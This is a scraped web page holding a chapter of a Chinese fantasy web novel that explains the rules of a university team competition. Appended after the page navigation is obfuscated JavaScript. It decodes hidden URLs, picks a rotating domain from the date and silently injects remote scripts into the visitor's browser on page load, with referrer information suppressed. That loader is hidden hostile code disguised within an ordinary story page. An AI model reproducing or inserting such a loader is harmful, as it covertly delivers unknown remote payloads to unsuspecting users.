返回

第327章 组队赛开始,特殊的规则,真有机会 御兽:开局觉醒变异SSS级天赋

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

混战赛个人赛项目终于已经结束,而组队赛的项目也正式拉开了帷幕。

两个不同的项目,自然也有着一些不同的地方。

首先就是参加组队赛的项目,最少要有两个人组成一个小队,最多不能超过十人。

毕竟只有一个人也不能叫做小队,怎么可能会允许参加组队赛项目呢。

至于最高的十人限定,主要是为了和团队赛进行区别。

另外,那就是真的超过了十人的小队,就不是组队了,也很少有那么多人的队伍。

任何在野外活动的小队,一般都不会超过这个人数。

如果某个小队超过十人以上,那么绝对不建议再次加入其中。

一则是因为获得的利益很难有更好的分配,自己拿到的就会不多。

二则是人多了就会有更多的分歧,甚至会产生队内的一些争斗,不利于发展。

在这些基础之上,组队赛才会作出了这样的人数限制。

其次就是组队赛在进行匹配的时候,不再是单纯的随机分配对手。

所有参加组队赛的小队都会进行人数上的一个区分。

二人队、三人队、四人队、五人队、六人队、七人队、八人队、九人队和十人队。

炎龙大学即使只有大二、大三和大四的学生参加混战赛,人数也绝对不少。

在这样的情况之下,组队赛的小队其实一点儿也不比个人赛项目的数量少。

所以事实上,组队赛项目几乎可以看作是大部分除大一外所有学生参与的项目。

当然了,团队赛也是相同的情况,只是团队的数量要少一些。

进行匹配的时候,这些人数不同的队伍将会首先在各自人数队伍之中进行匹配。

绝对不会出现二人队直接面对十人队等这种超级无语的事件。

换言之,首先是让相同人数的小队决出不同人数队伍的前几名。

之后,才会是进行相邻人数队伍之间的匹配。

比如二人队、三人队、四人队和五人队都完成了前几名的选拔。

再次匹配之时,就会是二人队和三人队之间混合匹配,四人队和五人队混合匹配。

后面的也是以此类推,不会直接让人数少的队伍去


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();